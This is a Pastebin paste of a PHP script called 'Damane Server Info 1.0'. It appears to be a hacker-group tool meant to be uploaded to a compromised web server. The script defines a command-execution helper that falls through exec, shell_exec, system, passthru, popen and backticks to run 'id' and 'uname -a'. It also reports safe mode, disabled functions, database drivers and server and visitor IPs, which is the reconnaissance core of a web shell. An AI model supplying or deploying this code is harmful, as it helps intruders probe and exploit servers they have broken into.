Advertisement
Damane-Dz

Damane Server Info 1.0

Nov 18th, 2012
804
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.59 KB | None | 0 0
  1. <?
  2. /*
  3.  
  4. File Writed By Damane2011
  5.  
  6. Email: Damane-Dz@hotmail.com
  7.  
  8. Twitter: @DamaneDz
  9.  
  10. */
  11.  
  12. $version = "0.1";
  13. $vsplit = "style=\"border-right: #000000 1px solid;\"";
  14. $hsplit = "style=\"border-bottom: #000000 1px solid;\"";
  15.  
  16. error_reporting(0);
  17.  
  18. //Software
  19. $sort = htmlspecialchars($sort);
  20.   if (empty($sort)) {$sort = $sort_default;}
  21.   $sort[1] = strtolower($sort[1]);
  22.   $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  23.   if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  24.   $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<b><u>PHP/".phpversion()."</u></b>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  25.  
  26. /// PHP Version
  27. if(version_compare(phpversion(),"4.1.0") == -1)
  28. { $_POST=&$HTTP_POST_VARS; }
  29. if(get_magic_quotes_gpc())
  30. foreach ($_POST as $k=>$v)
  31. { $_POST[$k] = stripslashes($v); }
  32.  
  33. function fe($s)
  34. {return function_exists($s);}
  35. function cmd($s)
  36. {if(fe("exec")){exec($s,$r);$r=join("\n",$r);}
  37. elseif(fe("shell_exec"))$r=shell_exec($s);
  38. elseif(fe("system")){ob_start();system($s);$r=ob_get_contents();ob_end_clean();}
  39. elseif(fe("passthru")){ob_start();passthru($s);$r=ob_get_contents();ob_end_clean();}
  40. elseif(is_resource($f=popen($s,"r"))){$r="";while(!feof($f))$r.=fread($f,512);pclose($f);}
  41. else $r=`$s`;return $r;}
  42. function safe_mode_is_on()
  43. {return ini_get('safe_mode');}
  44. function str100($s)
  45. {if(strlen($s)>100) $s=substr($s,0,100)."..."; return $s;}
  46. function id()
  47. {return str100(cmd("id"));}
  48. function uname()
  49. {return str100(cmd("uname -a"));}
  50.  
  51. /// Disabled Functions
  52. $disable_functions = @ini_get('disable_functions');
  53. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  54.     function posix_getpwuid($p) {return false;} }
  55. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  56.     function posix_getgrgid($p) {return false;} }
  57.    
  58.     // Show Stat
  59.       function showstat($stat) {
  60.     if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
  61.     else { return "<font color=#FF9900><b>OFF</b></font>"; }
  62.   }
  63.   function testoracle() {
  64.     if (function_exists('ocilogon')) { return showstat("on"); }
  65.     else { return showstat("off"); }
  66.   }
  67.     function perl() {
  68.     if (ex('perl -h')) { return showstat("on"); }
  69.     else { return showstat("off"); }
  70.   }
  71.   function testpostgresql() {
  72.     if (function_exists('pg_connect')) { return showstat("on"); }
  73.     else { return showstat("off"); }
  74.   }
  75.   function testmssql() {
  76.     if (function_exists('mssql_connect')) { return showstat("on"); }
  77.     else { return showstat("off"); }
  78.   }
  79.   function testcurl() {
  80.     if (function_exists('curl_version')) { return showstat("on"); }
  81.     else { return showstat("off"); }
  82.   }
  83.   function testmysql() {
  84.     if (function_exists('mysql_connect')) { return showstat("on"); }
  85.     else { return showstat("off"); }
  86.   }
  87.  
  88.   function showdisablefunctions() {
  89.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }
  90.     else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  91.   }
  92.  
  93.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  94.     $safemode = TRUE;
  95.     $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
  96.   }
  97.   else {
  98.     $safemode = FALSE;
  99.     $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";
  100.   }
  101.  
  102. echo "
  103. <html><head><title>Damane Server Info</title></head><body>
  104. <link href='http://dz48-coders.org/indexi/pic/favicon.ico' type='image/x-icon' rel='shortcut icon' />
  105. <style type=text/css>
  106. body{background-color:#111;font-family:verdana;}
  107. .info{background-color:#fff; width=100%; height:350px;}
  108. input,textarea{border:1px solid #000;}
  109. </style>
  110. <div class=info>
  111. <table bgcolor=#ff0000 width=100%px height=20px>
  112. <tr>
  113. <td><font color=#fff size=1px><center>Damane Server Info 1.0 [Coded By: Damane2011] & [Designed By: m0m]</center></font>
  114. </td></tr></table>
  115. <font color=#000 size=2px>
  116. <center><span><font color='#111'>
  117. <br> Software : ".$DISP_SERVER_SOFTWARE ." | </br>
  118. <br> ID:".id()." |</br>
  119. <br> PHP Ver:". @phpversion() ." |</br>
  120. <br> Uname -a: ".uname()." |</br>
  121. <br> Your IP:".$_SERVER["REMOTE_ADDR"]." |</br>
  122. <br> Server IP:".gethostbyname($_SERVER["HTTP_HOST"])." |</br>
  123. <br> $hsafemode | </br>
  124. <br> Disabled Functions: ".showdisablefunctions()."|</br>
  125. <br> MySQL: ".testmysql()."|
  126. MSSQL: ".testmssql()."|
  127. Oracle: ".testoracle()."|
  128. PostgreSQL: ".testpostgresql()."|
  129. </center>
  130. <p align='center'><font color='#FF00FF'>By Damane2011<br/></font>
  131. </div>
  132. <br/>
  133. ";
  134. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement